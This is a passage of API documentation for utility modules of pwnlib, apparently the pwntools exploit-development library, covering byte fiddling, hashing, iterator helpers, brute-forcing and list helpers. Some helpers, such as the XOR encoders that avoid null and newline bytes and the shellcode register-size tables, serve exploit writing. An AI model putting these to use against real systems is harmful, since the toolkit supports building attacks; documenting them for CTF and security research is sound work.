`pwnlib.util.fiddling.`**`hexii`**(*s*, *width = 16*, *skip = True*) → str

Return a HEXII-dump of a string.

Parameters

- **s** (*str*) – The string to dump
- **width** (*int*) – The number of characters per line
- **skip** (*bool*) – Should repeated lines be replaced by a "*"

Returns A HEXII-dump in the form of a string.

`pwnlib.util.fiddling.`**`isprint`**(*c*) → bool

Return True if a character is printable

`pwnlib.util.fiddling.`**`naf`**(*int*) → int generator

Returns a generator for the non-adjacent form (NAF[1]) of a number, *n*. If *naf(n)* generates *z_0, z_1, . . .* , then *n == z_0 + z_1 * 2 + z_2 * 2**2, . . .* .

[1] https://en.wikipedia.org/wiki/Non-adjacent_form

Example

```
>>> n = 45
>>> m = 0
>>> x = 1
>>> for z in naf(n):
...     m += x * z
...     x *= 2
>>> n == m
True
```

`pwnlib.util.fiddling.`**`negate`**(*value*, *width=None*)

Returns the two's complement of 'value'.

`pwnlib.util.fiddling.`**`randoms`**(*count*, *alphabet = string.ascii_lowercase*) → str

Returns a random string of a given length using only the specified alphabet.

Parameters

- **count** (*int*) – The length of the desired string.
- **alphabet** – The alphabet of allowed characters. Defaults to all lowercase characters.

Returns A random string.

Example

```
>>> randoms(10) #doctest: +SKIP
'evafjilupm'
```

`pwnlib.util.fiddling.`**`rol`**`(`*n*, *k*, *word_size=None*`)`

Returns a rotation by *k* of *n*.

When *n* is a number, then means `((n << k) | (n >> (word_size - k)))` truncated to *word_size* bits.

When *n* is a list, tuple or string, this is `n[k % len(n):] + n[:k % len(n)]`.

Parameters

- **n** – The value to rotate.
- **k** (*int*) – The rotation amount. Can be a positive or negative number.
- **word_size** (*int*) – If *n* is a number, then this is the assumed bitsize of *n*. Defaults to `pwnlib.context.word_size` if *None* .

Example

```
>>> rol('abcdefg', 2)
'cdefgab'
>>> rol('abcdefg', -2)
'fgabcde'
>>> hex(rol(0x86, 3, 8))
'0x34'
>>> hex(rol(0x86, -3, 8))
'0xd0'
```

`pwnlib.util.fiddling.`**`ror`**`(`*n*, *k*, *word_size=None*`)`

A simple wrapper around `rol()`, which negates the values of *k*.

`pwnlib.util.fiddling.`**`unbits`**`(`*s*, *endian = 'big'*`)` → str

Converts an iterable of bits into a string.

Parameters

- **s** – Iterable of bits
- **endian** (*str*) – The string "little" or "big", which specifies the bits endianness.

Returns A string of the decoded bits.

Example

```
>>> unbits([1])
b'\x80'
>>> unbits([1], endian = 'little')
b'\x01'
>>> unbits(bits(b'hello'), endian = 'little')
b'\x16\xa666\xf6'
```

`pwnlib.util.fiddling.`**`unhex`**`(`*s*`)` → str

Hex-decodes a string.

Example

```
>>> unhex("74657374")
b'test'
>>> unhex("F\n")
b'\x0f'
```

pwnlib.util.fiddling.**urldecode**(*s*, *ignore_invalid = False*) → str
URL-decodes a string.

Example

```
>>> urldecode("test%20%41")
'test A'
>>> urldecode("%qq")
Traceback (most recent call last):
...
ValueError: Invalid input to urldecode
>>> urldecode("%qq", ignore_invalid = True)
'%qq'
```

pwnlib.util.fiddling.**urlencode**(*s*) → str
URL-encodes a string.

Example

```
>>> urlencode("test")
'%74%65%73%74'
```

pwnlib.util.fiddling.**xor**(**args*, *cut = 'max'*) → str
Flattens its arguments using *pwnlib.util.packing.flat()* and then xors them together. If the end of a string is reached, it wraps around in the string.

Parameters

- **args** – The arguments to be xor'ed together.
- **cut** – How long a string should be returned. Can be either 'min'/'max'/'left'/'right' or a number.

Returns The string of the arguments xor'ed together.

Example

```
>>> xor(b'lol', b'hello', 42)
b'. ***'
```

pwnlib.util.fiddling.**xor_key**(*data*, *size=None*, *avoid='x00n'*) *-> None or (int, str)*
Finds a size-width value that can be XORed with a string to produce data, while neither the XOR value or XOR string contain any bytes in avoid.

Parameters

- **data** (*str*) – The desired string.
- **avoid** – The list of disallowed characters. Defaults to nulls and newlines.
- **size** (*int*) – Size of the desired output value, default is word size.

Returns A tuple containing two strings; the XOR key and the XOR string. If no such pair exists, None is returned.

Example

```
>>> xor_key(b"Hello, world")
(b'\x01\x01\x01\x01', b'Idmmn-!vnsme')
```

`pwnlib.util.fiddling.`**`xor_pair`**(*data*, *avoid = 'x00n') -> None or (str, str)*)

Finds two strings that will xor into a given string, while only using a given alphabet.

Parameters

- **data** (*str*) – The desired string.
- **avoid** – The list of disallowed characters. Defaults to nulls and newlines.

Returns Two strings which will xor to the given string. If no such two strings exist, then None is returned.

Example

```
>>> xor_pair(b"test")
(b'\x01\x01\x01\x01', b'udru')
```

2.39 pwnlib.util.getdents — Linux binary directory listing

`pwnlib.util.getdents.`**`dirents`**(*buf*)

unpack_dents(buf) -> list

Extracts data from a buffer emitted by getdents()

Parameters **buf** (*str*) – Byte array

Returns A list of filenames.

Example

```
>>> data =
↪'5ade6d010100000010002e0000000004010000000200000010002e2e006e3d04092b6d010300000010007461736b0
↪'
>>> data = unhex(data)
>>> print(dirents(data))
['.', '..', 'fd', 'task']
```

2.40 pwnlib.util.hashes — Hashing functions

Functions for computing various hashes of files and strings.

`pwnlib.util.hashes.`**`md5file`**(*x*)

Calculates the md5 sum of a file

pwnlib.util.hashes.**md5filehex**(*x*)
Calculates the md5 sum of a file; returns hex-encoded

pwnlib.util.hashes.**md5sum**(*x*)
Calculates the md5 sum of a string

pwnlib.util.hashes.**md5sumhex**(*x*)
Calculates the md5 sum of a string; returns hex-encoded

pwnlib.util.hashes.**sha1file**(*x*)
Calculates the sha1 sum of a file

pwnlib.util.hashes.**sha1filehex**(*x*)
Calculates the sha1 sum of a file; returns hex-encoded

pwnlib.util.hashes.**sha1sum**(*x*)
Calculates the sha1 sum of a string

pwnlib.util.hashes.**sha1sumhex**(*x*)
Calculates the sha1 sum of a string; returns hex-encoded

pwnlib.util.hashes.**sha224file**(*x*)
Calculates the sha224 sum of a file

pwnlib.util.hashes.**sha224filehex**(*x*)
Calculates the sha224 sum of a file; returns hex-encoded

pwnlib.util.hashes.**sha224sum**(*x*)
Calculates the sha224 sum of a string

pwnlib.util.hashes.**sha224sumhex**(*x*)
Calculates the sha224 sum of a string; returns hex-encoded

pwnlib.util.hashes.**sha256file**(*x*)
Calculates the sha256 sum of a file

pwnlib.util.hashes.**sha256filehex**(*x*)
Calculates the sha256 sum of a file; returns hex-encoded

pwnlib.util.hashes.**sha256sum**(*x*)
Calculates the sha256 sum of a string

pwnlib.util.hashes.**sha256sumhex**(*x*)
Calculates the sha256 sum of a string; returns hex-encoded

pwnlib.util.hashes.**sha384file**(*x*)
Calculates the sha384 sum of a file

pwnlib.util.hashes.**sha384filehex**(*x*)
Calculates the sha384 sum of a file; returns hex-encoded

pwnlib.util.hashes.**sha384sum**(*x*)
Calculates the sha384 sum of a string

pwnlib.util.hashes.**sha384sumhex**(*x*)
Calculates the sha384 sum of a string; returns hex-encoded

pwnlib.util.hashes.**sha512file**(*x*)
Calculates the sha512 sum of a file

pwnlib.util.hashes.**sha512filehex**(*x*)
Calculates the sha512 sum of a file; returns hex-encoded

`pwnlib.util.hashes.`**`sha512sum`**`(`*x*`)`
Calculates the sha512 sum of a string

`pwnlib.util.hashes.`**`sha512sumhex`**`(`*x*`)`
Calculates the sha512 sum of a string; returns hex-encoded

2.41 `pwnlib.util.iters` — Extension of standard module `itertools`

This module includes and extends the standard module `itertools`.

`pwnlib.util.iters.`**`bruteforce`**`(`*func*, *alphabet*, *length*, *method = 'upto'*, *start = None*`)`
Bruteforce *func* to return `True`. *func* should take a string input and return a `bool()`. *func* will be called with strings from *alphabet* until it returns `True` or the search space has been exhausted.

The argument *start* can be used to split the search space, which is useful if multiple CPU cores are available.

Parameters

- **`func`** (`function`) – The function to bruteforce.
- **`alphabet`** – The alphabet to draw symbols from.
- **`length`** – Longest string to try.
- **`method`** – If 'upto' try strings of length `1 .. length`, if 'fixed' only try strings of length `length` and if 'downfrom' try strings of length `length .. 1`.
- **`start`** – a tuple `(i, N)` which splits the search space up into *N* pieces and starts at piece *i* (1..N). `None` is equivalent to `(1, 1)`.

Returns A string *s* such that `func(s)` returns `True` or `None` if the search space was exhausted.

Example

```
>>> bruteforce(lambda x: x == 'yes', string.ascii_lowercase, length=5)
'yes'
```

`pwnlib.util.iters.`**`mbruteforce`**`(`*func*, *alphabet*, *length*, *method = 'upto'*, *start = None*, *threads = None*`)`
Same functionality as bruteforce(), but multithreaded.

Parameters

- **`alphabet, length, method, start`** (`func,`) – same as for bruteforce()
- **`threads`** – Amount of threads to spawn, default is the amount of cores.

Example

```
>>> mbruteforce(lambda x: x == 'hello', string.ascii_lowercase, length = 10)
'hello'
>>> mbruteforce(lambda x: x == 'hello', 'hlo', 5, 'downfrom') is None
True
>>> mbruteforce(lambda x: x == 'no', string.ascii_lowercase, length=2, method=
↪'fixed')
```

(continues on next page)

(continued from previous page)

```
'no'
>>> mbruteforce(lambda x: x == '9999', string.digits, length=4, threads=1,␣
↪start=(2, 2))
'9999'
```

pwnlib.util.iters.**chained**(*func*)

A decorator chaining the results of *func*. Useful for generators.

Parameters **func** (*function*) – The function being decorated.

Returns A generator function whoose elements are the concatenation of the return values from `func(*args, **kwargs)`.

Example

```
>>> @chained
... def g():
...     for x in count():
...         yield (x, -x)
>>> take(6, g())
[0, 0, 1, -1, 2, -2]
>>> @chained
... def g2():
...     for x in range(3):
...         yield (x, -x)
>>> list(g2())
[0, 0, 1, -1, 2, -2]
```

pwnlib.util.iters.**consume**(*n, iterator*)

Advance the iterator *n* steps ahead. If *n is :const:'None*, consume everything.

Parameters

- **n** (*int*) – Number of elements to consume.
- **iterator** (*iterator*) – An iterator.

Returns None.

Examples

```
>>> i = count()
>>> consume(5, i)
>>> next(i)
5
>>> i = iter([1, 2, 3, 4, 5])
>>> consume(2, i)
>>> list(i)
[3, 4, 5]
>>> def g():
...     for i in range(2):
...         yield i
...         print(i)
>>> consume(None, g())
0
1
```

`pwnlib.util.iters.cyclen(n, iterable)` → iterator
Repeats the elements of *iterable* *n* times.

Parameters

- **n** (*int*) – The number of times to repeat *iterable*.
- **iterable** – An iterable.

Returns An iterator whoose elements are the elements of *iterator* repeated *n* times.

Examples

```
>>> take(4, cyclen(2, [1, 2]))
[1, 2, 1, 2]
>>> list(cyclen(10, []))
[]
```

`pwnlib.util.iters.dotproduct(x, y)` → int
Computes the dot product of *x* and *y*.

Parameters

- **x** (*iterable*) – An iterable.
- **x** – An iterable.

Returns The dot product of *x* and *y*, i.e. – `x[0] * y[0] + x[1] * y[1] + ...`.

Example

```
>>> dotproduct([1, 2, 3], [4, 5, 6])
... # 1 * 4 + 2 * 5 + 3 * 6 == 32
32
```

`pwnlib.util.iters.flatten(xss)` → iterator
Flattens one level of nesting; when *xss* is an iterable of iterables, returns an iterator whoose elements is the concatenation of the elements of *xss*.

Parameters **xss** – An iterable of iterables.

Returns An iterator whoose elements are the concatenation of the iterables in *xss*.

Examples

```
>>> list(flatten([[1, 2], [3, 4]]))
[1, 2, 3, 4]
>>> take(6, flatten([[43, 42], [41, 40], count()]))
[43, 42, 41, 40, 0, 1]
```

`pwnlib.util.iters.group(n, iterable, fill_value = None)` → iterator
Similar to `pwnlib.util.lists.group()`, but returns an iterator and uses `itertools` fast build-in functions.

Parameters

- **n** (*int*) – The group size.

- **iterable** – An iterable.
- **fill_value** – The value to fill into the remaining slots of the last group if the *n* does not divide the number of elements in *iterable*.

Returns An iterator whoose elements are *n*-tuples of the elements of *iterable*.

Examples

```
>>> list(group(2, range(5)))
[(0, 1), (2, 3), (4, None)]
>>> take(3, group(2, count()))
[(0, 1), (2, 3), (4, 5)]
>>> [''.join(x) for x in group(3, 'ABCDEFG', 'x')]
['ABC', 'DEF', 'Gxx']
```

pwnlib.util.iters.**iter_except**(*func*, *exception*)

Calls *func* repeatedly until an exception is raised. Works like the build-in `iter()` but uses an exception instead of a sentinel to signal the end.

Parameters

- **func** (*callable*) – The function to call.
- **exception** (*Exception*) – The exception that signals the end. Other exceptions will not be caught.

Returns An iterator whoose elements are the results of calling `func()` until an exception matching *exception* is raised.

Examples

```
>>> s = {1, 2, 3}
>>> i = iter_except(s.pop, KeyError)
>>> next(i)
1
>>> next(i)
2
>>> next(i)
3
>>> next(i)
Traceback (most recent call last):
    ...
StopIteration
```

pwnlib.util.iters.**lexicographic**(*alphabet*) → iterator

The words with symbols in *alphabet*, in lexicographic order (determined by the order of *alphabet*).

Parameters **alphabet** – The alphabet to draw symbols from.

Returns An iterator of the words with symbols in *alphabet*, in lexicographic order.

Example

```
>>> take(8, map(lambda x: ''.join(x), lexicographic('01')))
['', '0', '1', '00', '01', '10', '11', '000']
```

pwnlib.util.iters.**lookahead**(*n*, *iterable*) → object

Inspects the upcoming element at index *n* without advancing the iterator. Raises IndexError if *iterable* has too few elements.

Parameters

- **n** (*int*) – Index of the element to return.
- **iterable** – An iterable.

Returns The element in *iterable* at index *n*.

Examples

```
>>> i = count()
>>> lookahead(4, i)
4
>>> next(i)
0
>>> i = count()
>>> nth(4, i)
4
>>> next(i)
5
>>> lookahead(4, i)
10
```

pwnlib.util.iters.**nth**(*n*, *iterable*, *default = None*) → object

Returns the element at index *n* in *iterable*. If *iterable* is a iterator it will be advanced.

Parameters

- **n** (*int*) – Index of the element to return.
- **iterable** – An iterable.
- **default** (*objext*) – A default value.

Returns The element at index *n* in *iterable* or *default* if *iterable* has too few elements.

Examples

```
>>> nth(2, [0, 1, 2, 3])
2
>>> nth(2, [0, 1], 42)
42
>>> i = count()
>>> nth(42, i)
42
>>> nth(42, i)
85
```

pwnlib.util.iters.**pad**(*iterable*, *value = None*) → iterator

Pad an *iterable* with *value*, i.e. returns an iterator whose elements are first the elements of *iterable* then *value* indefinitely.

Parameters

- **iterable** – An iterable.

- **value** – The value to pad with.

Returns An iterator whoose elements are first the elements of *iterable* then *value* indefinitely.

Examples

```
>>> take(3, pad([1, 2]))
[1, 2, None]
>>> i = pad(iter([1, 2, 3]), 42)
>>> take(2, i)
[1, 2]
>>> take(2, i)
[3, 42]
>>> take(2, i)
[42, 42]
```

pwnlib.util.iters.**pairwise**(*iterable*) → iterator

Parameters **iterable** – An iterable.

Returns An iterator whoose elements are pairs of neighbouring elements of *iterable*.

Examples

```
>>> list(pairwise([1, 2, 3, 4]))
[(1, 2), (2, 3), (3, 4)]
>>> i = starmap(operator.add, pairwise(count()))
>>> take(5, i)
[1, 3, 5, 7, 9]
```

pwnlib.util.iters.**powerset**(*iterable*, *include_empty = True*) → iterator

The powerset of an iterable.

Parameters

- **iterable** – An iterable.
- **include_empty** (*bool*) – Whether to include the empty set.

Returns The powerset of *iterable* as an interator of tuples.

Examples

```
>>> list(powerset(range(3)))
[(), (0,), (1,), (2,), (0, 1), (0, 2), (1, 2), (0, 1, 2)]
>>> list(powerset(range(2), include_empty = False))
[(0,), (1,), (0, 1)]
```

pwnlib.util.iters.**quantify**(*iterable*, *pred = bool*) → int

Count how many times the predicate *pred* is `True`.

Parameters

- **iterable** – An iterable.
- **pred** – A function that given an element from *iterable* returns either `True` or `False`.

Returns The number of elements in *iterable* for which *pred* returns `True`.

Examples

```
>>> quantify([1, 2, 3, 4], lambda x: x % 2 == 0)
2
>>> quantify(['1', 'two', '3', '42'], str.isdigit)
3
```

pwnlib.util.iters.**random_combination**(*iterable*, *r*) → tuple

Parameters

- **iterable** – An iterable.
- **r** (*int*) – Size of the combination.

Returns A random element from `itertools.combinations(iterable, r = r)`.

Examples

```
>>> random_combination(range(2), 2)
(0, 1)
>>> random_combination(range(10), r = 2) in combinations(range(10), r = 2)
True
```

pwnlib.util.iters.**random_combination_with_replacement**(*iterable*, *r*)

random_combination(iterable, r) -> tuple

Parameters

- **iterable** – An iterable.
- **r** (*int*) – Size of the combination.

Returns A random element from `itertools.combinations_with_replacement(iterable, r = r)`.

Examples

```
>>> cs = {(0, 0), (0, 1), (1, 1)}
>>> random_combination_with_replacement(range(2), 2) in cs
True
>>> i = combinations_with_replacement(range(10), r = 2)
>>> random_combination_with_replacement(range(10), r = 2) in i
True
```

pwnlib.util.iters.**random_permutation**(*iterable*, *r=None*)

random_product(iterable, r = None) -> tuple

Parameters

- **iterable** – An iterable.
- **r** (*int*) – Size of the permutation. If `None` select all elements in *iterable*.

Returns A random element from `itertools.permutations(iterable, r = r)`.

Examples

```
>>> random_permutation(range(2)) in {(0, 1), (1, 0)}
True
>>> random_permutation(range(10), r = 2) in permutations(range(10), r = 2)
True
```

pwnlib.util.iters.**random_product**(**args*, *repeat = 1*) → tuple

Parameters

- **args** – One or more iterables
- **repeat** (*int*) – Number of times to repeat *args*.

Returns A random element from `itertools.product(*args, repeat = repeat)`.

Examples

```
>>> args = (range(2), range(2))
>>> random_product(*args) in {(0, 0), (0, 1), (1, 0), (1, 1)}
True
>>> args = (range(3), range(3), range(3))
>>> random_product(*args, repeat = 2) in product(*args, repeat = 2)
True
```

pwnlib.util.iters.**repeat_func**(*func*, **args*, ***kwargs*) → iterator

Repeatedly calls *func* with positional arguments *args* and keyword arguments *kwargs*. If no keyword arguments is given the resulting iterator will be computed using only functions from `itertools` which are very fast.

Parameters

- **func** (*function*) – The function to call.
- **args** – Positional arguments.
- **kwargs** – Keyword arguments.

Returns An iterator whoose elements are the results of calling `func(*args, **kwargs)` repeatedly.

Examples

```
>>> def f(x):
...     x[0] += 1
...     return x[0]
>>> i = repeat_func(f, [0])
>>> take(2, i)
[1, 2]
>>> take(2, i)
[3, 4]
>>> def f(**kwargs):
...     return kwargs.get('x', 43)
>>> i = repeat_func(f, x = 42)
>>> take(2, i)
[42, 42]
>>> i = repeat_func(f, 42)
```

(continues on next page)

(continued from previous page)

```
>>> take(2, i)
Traceback (most recent call last):
    ...
TypeError: f() takes exactly 0 arguments (1 given)
```

pwnlib.util.iters.**roundrobin**(**iterables*)

Take elements from *iterables* in a round-robin fashion.

Parameters ***iterables** – One or more iterables.

Returns An iterator whoose elements are taken from *iterables* in a round-robin fashion.

Examples

```
>>> ''.join(roundrobin('ABC', 'D', 'EF'))
'ADEBFC'
>>> ''.join(take(10, roundrobin('ABC', 'DE', repeat('x'))))
'ADxBExCxxx'
```

pwnlib.util.iters.**tabulate**(*func*, *start = 0*) → iterator

Parameters

- **func** (*function*) – The function to tabulate over.
- **start** (*int*) – Number to start on.

Returns An iterator with the elements `func(start), func(start + 1), ....`

Examples

```
>>> take(2, tabulate(str))
['0', '1']
>>> take(5, tabulate(lambda x: x**2, start = 1))
[1, 4, 9, 16, 25]
```

pwnlib.util.iters.**take**(*n*, *iterable*) → list

Returns first *n* elements of *iterable*. If *iterable* is a iterator it will be advanced.

Parameters

- **n** (*int*) – Number of elements to take.
- **iterable** – An iterable.

Returns A list of the first *n* elements of *iterable*. If there are fewer than *n* elements in *iterable* they will all be returned.

Examples

```
>>> take(2, range(10))
[0, 1]
>>> i = count()
>>> take(2, i)
[0, 1]
```

(continues on next page)

(continued from previous page)

```
>>> take(2, i)
[2, 3]
>>> take(9001, [1, 2, 3])
[1, 2, 3]
```

pwnlib.util.iters.**unique_everseen**(*iterable*, *key = None*) → iterator

Get unique elements, preserving order. Remember all elements ever seen. If *key* is not None then for each element elm in *iterable* the element that will be rememberes is key(elm). Otherwise elm is remembered.

Parameters

- **iterable** – An iterable.
- **key** – A function to map over each element in *iterable* before remembering it. Setting to None is equivalent to the identity function.

Returns An iterator of the unique elements in *iterable*.

Examples

```
>>> ''.join(unique_everseen('AAAABBBCCDAABBB'))
'ABCD'
>>> ''.join(unique_everseen('ABBCcAD', str.lower))
'ABCD'
```

pwnlib.util.iters.**unique_justseen**(*iterable*, *key=None*)

unique_everseen(iterable, key = None) -> iterator

Get unique elements, preserving order. Remember only the elements just seen. If *key* is not None then for each element elm in *iterable* the element that will be rememberes is key(elm). Otherwise elm is remembered.

Parameters

- **iterable** – An iterable.
- **key** – A function to map over each element in *iterable* before remembering it. Setting to None is equivalent to the identity function.

Returns An iterator of the unique elements in *iterable*.

Examples

```
>>> ''.join(unique_justseen('AAAABBBCCDAABBB'))
'ABCDAB'
>>> ''.join(unique_justseen('ABBCcAD', str.lower))
'ABCAD'
```

pwnlib.util.iters.**unique_window**(*iterable*, *window*, *key=None*)

unique_everseen(iterable, window, key = None) -> iterator

Get unique elements, preserving order. Remember only the last *window* elements seen. If *key* is not None then for each element elm in *iterable* the element that will be rememberes is key(elm). Otherwise elm is remembered.

Parameters

- **iterable** – An iterable.

- **window** (*int*) – The number of elements to remember.
- **key** – A function to map over each element in *iterable* before remembering it. Setting to `None` is equivalent to the identity function.

Returns An iterator of the unique elements in *iterable*.

Examples

```
>>> ''.join(unique_window('AAAABBBCCDAABBB', 6))
'ABCDA'
>>> ''.join(unique_window('ABBCcAD', 5, str.lower))
'ABCD'
>>> ''.join(unique_window('ABBCcAD', 4, str.lower))
'ABCAD'
```

`pwnlib.util.iters.`**`chain`**`()`
Alias for `itertools.chain()`.

`pwnlib.util.iters.`**`combinations`**`()`
Alias for `itertools.combinations()`

`pwnlib.util.iters.`**`combinations_with_replacement`**`()`
Alias for `itertools.combinations_with_replacement()`

`pwnlib.util.iters.`**`compress`**`()`
Alias for `itertools.compress()`

`pwnlib.util.iters.`**`count`**`()`
Alias for `itertools.count()`

`pwnlib.util.iters.`**`cycle`**`()`
Alias for `itertools.cycle()`

`pwnlib.util.iters.`**`dropwhile`**`()`
Alias for `itertools.dropwhile()`

`pwnlib.util.iters.`**`groupby`**`()`
Alias for `itertools.groupby()`

`pwnlib.util.iters.`**`filter`**`()`
Alias for python3-style *`filter()`*

`pwnlib.util.iters.`**`filterfalse`**`()`
Alias for `itertools.filterfalse()`

`pwnlib.util.iters.`**`map`**`()`
Alias for python3-style *`map()`*

`pwnlib.util.iters.`**`islice`**`()`
Alias for `itertools.islice()`

`pwnlib.util.iters.`**`zip`**`()`
Alias for python3-style *`zip()`*

`pwnlib.util.iters.`**`zip_longest`**`()`
Alias for `itertools.zip_longest()`

`pwnlib.util.iters.`**`permutations`**`()`
Alias for `itertools.permutations()`

`pwnlib.util.iters.`**`product`**`()`
Alias for `itertools.product()`

`pwnlib.util.iters.`**`repeat`**`()`
Alias for `itertools.repeat()`

`pwnlib.util.iters.`**`starmap`**`()`
Alias for `itertools.starmap()`

`pwnlib.util.iters.`**`takewhile`**`()`
Alias for `itertools.takewhile()`

`pwnlib.util.iters.`**`tee`**`()`
Alias for `itertools.tee()`

2.42 `pwnlib.util.lists` — Operations on lists

`pwnlib.util.lists.`**`concat`**`(`*l*`)` → list
Concats a list of lists into a list.

Example

```
>>> concat([[1, 2], [3]])
[1, 2, 3]
```

`pwnlib.util.lists.`**`concat_all`**`(`**args*`)` → list
Concats all the arguments together.

Example

```
>>> concat_all(0, [1, (2, 3)], [([[4, 5, 6]])])
[0, 1, 2, 3, 4, 5, 6]
```

`pwnlib.util.lists.`**`findall`**`(`*l, e*`)` → l
Generate all indices of needle in haystack, using the Knuth-Morris-Pratt algorithm.

Example

```
>>> foo = findall([1,2,3,4,4,3,4,2,1], 4)
>>> next(foo)
3
>>> next(foo)
4
>>> next(foo)
6
>>> list(foo) # no more appearances
[]
>>> list(findall("aaabaaabc", "aab"))
[1, 5]
```

`pwnlib.util.lists.`**`group`**`(`*n, lst, underfull_action = 'ignore', fill_value = None*`)` → list
Split sequence into subsequences of given size. If the values cannot be evenly distributed among into groups, then the last group will either be returned as is, thrown out or padded with the value specified in fill_value.

Parameters

- **n** (*int*) – The size of resulting groups
- **lst** – The list, tuple or string to group
- **underfull_action** (*str*) – The action to take in case of an underfull group at the end. Possible values are 'ignore', 'drop' or 'fill'.
- **fill_value** – The value to fill into an underfull remaining group.

Returns A list containing the grouped values.

Example

```
>>> group(3, "ABCDEFG")
['ABC', 'DEF', 'G']
>>> group(3, 'ABCDEFG', 'drop')
['ABC', 'DEF']
>>> group(3, 'ABCDEFG', 'fill', 'Z')
['ABC', 'DEF', 'GZZ']
>>> group(3, list('ABCDEFG'), 'fill')
[['A', 'B', 'C'], ['D', 'E', 'F'], ['G', None, None]]
>>> group(2, tuple('1234'), 'fill')
[('1', '2'), ('3', '4')]
```

pwnlib.util.lists.**ordlist**(*s*) → list

Turns a string into a list of the corresponding ascii values.

Example

```
>>> ordlist("hello")
[104, 101, 108, 108, 111]
```

pwnlib.util.lists.**partition**(*lst*, *f*, *save_keys = False*) → list

Partitions an iterable into sublists using a function to specify which group they belong to.

It works by calling *f* on every element and saving the results into an `collections.OrderedDict`.

Parameters

- **lst** – The iterable to partition
- **f** (*function*) – The function to use as the partitioner.
- **save_keys** (*bool*) – Set this to True, if you want the OrderedDict returned instead of just the values

Example

```
>>> partition([1,2,3,4,5], lambda x: x&1)
[[1, 3, 5], [2, 4]]
>>> partition([1,2,3,4,5], lambda x: x%3, save_keys=True)
OrderedDict([(1, [1, 4]), (2, [2, 5]), (0, [3])])
```

pwnlib.util.lists.**unordlist**(*cs*) → str

Takes a list of ascii values and returns the corresponding string.

Example

```
>>> unordlist([104, 101, 108, 108, 111])
'hello'
```

2.43 pwnlib.util.misc — We could not fit it any other place

pwnlib.util.misc.**align**(*alignment*, *x*) → int
Rounds *x* up to nearest multiple of the *alignment*.

Example

```
>>> [align(5, n) for n in range(15)]
[0, 5, 5, 5, 5, 5, 10, 10, 10, 10, 10, 15, 15, 15, 15]
```

pwnlib.util.misc.**align_down**(*alignment*, *x*) → int
Rounds *x* down to nearest multiple of the *alignment*.

Example

```
>>> [align_down(5, n) for n in range(15)]
[0, 0, 0, 0, 0, 5, 5, 5, 5, 5, 10, 10, 10, 10, 10]
```

pwnlib.util.misc.**binary_ip**(*host*) → str
Resolve host and return IP as four byte string.

Example

```
>>> binary_ip("127.0.0.1")
b'\x7f\x00\x00\x01'
```

pwnlib.util.misc.**dealarm_shell**(*tube*)
Given a tube which is a shell, dealarm it.

pwnlib.util.misc.**mkdir_p**(*path*)
Emulates the behavior of `mkdir -p`.

pwnlib.util.misc.**parse_ldd_output**(*output*)
Parses the output from a run of 'ldd' on a binary. Returns a dictionary of {path: address} for each library required by the specified binary.

Parameters **output** (*str*) – The output to parse

Example

```
>>> sorted(parse_ldd_output('''
...     linux-vdso.so.1 =>  (0x00007fffbf5fe000)
...     libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007fe28117f000)
...     libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe280f7b000)
```

(continues on next page)

(continued from previous page)

```
...     libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe280bb4000)
...     /lib64/ld-linux-x86-64.so.2 (0x00007fe2813dd000)
... ''').keys())
['/lib/x86_64-linux-gnu/libc.so.6', '/lib/x86_64-linux-gnu/libdl.so.2', '/lib/x86_
↪64-linux-gnu/libtinfo.so.5', '/lib64/ld-linux-x86-64.so.2']
```

pwnlib.util.misc.**python_2_bytes_compatible**(*klass*)
A class decorator that defines __str__ methods under Python 2. Under Python 3 it does nothing.

pwnlib.util.misc.**read**(*path*, *count=-1*, *skip=0*) → str
Open file, return content.

Examples

```
>>> read('/proc/self/exe')[:4]
b'\x7fELF'
```

pwnlib.util.misc.**register_sizes**(*regs*, *in_sizes*)
Create dictionaries over register sizes and relations

Given a list of lists of overlapping register names (e.g. ['eax','ax','al','ah']) and a list of input sizes, it returns the following:

- all_regs : list of all valid registers
- sizes[reg] : the size of reg in bits
- bigger[reg] : list of overlapping registers bigger than reg
- smaller[reg]: list of overlapping registers smaller than reg

Used in i386/AMD64 shellcode, e.g. the mov-shellcode.

Example

```
>>> regs = [['eax', 'ax', 'al', 'ah'],['ebx', 'bx', 'bl', 'bh'],
... ['ecx', 'cx', 'cl', 'ch'],
... ['edx', 'dx', 'dl', 'dh'],
... ['edi', 'di'],
... ['esi', 'si'],
... ['ebp', 'bp'],
... ['esp', 'sp'],
... ]
>>> all_regs, sizes, bigger, smaller = register_sizes(regs, [32, 16, 8, 8])
>>> all_regs
['eax', 'ax', 'al', 'ah', 'ebx', 'bx', 'bl', 'bh', 'ecx', 'cx', 'cl', 'ch', 'edx',
↪ 'dx', 'dl', 'dh', 'edi', 'di', 'esi', 'si', 'ebp', 'bp', 'esp', 'sp']
>>> pprint(sizes)
{'ah': 8,
 'al': 8,
 'ax': 16,
 'bh': 8,
 'bl': 8,
 'bp': 16,
 'bx': 16,
 'ch': 8,
```

(continues on next page)

(continued from previous page)

```
 'cl': 8,
 'cx': 16,
 'dh': 8,
 'di': 16,
 'dl': 8,
 'dx': 16,
 'eax': 32,
 'ebp': 32,
 'ebx': 32,
 'ecx': 32,
 'edi': 32,
 'edx': 32,
 'esi': 32,
 'esp': 32,
 'si': 16,
 'sp': 16}
>>> pprint(bigger)
{'ah': ['eax', 'ax', 'ah'],
 'al': ['eax', 'ax', 'al'],
 'ax': ['eax', 'ax'],
 'bh': ['ebx', 'bx', 'bh'],
 'bl': ['ebx', 'bx', 'bl'],
 'bp': ['ebp', 'bp'],
 'bx': ['ebx', 'bx'],
 'ch': ['ecx', 'cx', 'ch'],
 'cl': ['ecx', 'cx', 'cl'],
 'cx': ['ecx', 'cx'],
 'dh': ['edx', 'dx', 'dh'],
 'di': ['edi', 'di'],
 'dl': ['edx', 'dx', 'dl'],
 'dx': ['edx', 'dx'],
 'eax': ['eax'],
 'ebp': ['ebp'],
 'ebx': ['ebx'],
 'ecx': ['ecx'],
 'edi': ['edi'],
 'edx': ['edx'],
 'esi': ['esi'],
 'esp': ['esp'],
 'si': ['esi', 'si'],
 'sp': ['esp', 'sp']}
>>> pprint(smaller)
{'ah': [],
 'al': [],
 'ax': ['al', 'ah'],
 'bh': [],
 'bl': [],
 'bp': [],
 'bx': ['bl', 'bh'],
 'ch': [],
 'cl': [],
 'cx': ['cl', 'ch'],
 'dh': [],
 'di': [],
 'dl': [],
 'dx': ['dl', 'dh'],
 'eax': ['ax', 'al', 'ah'],
```

(continues on next page)

(continued from previous page)

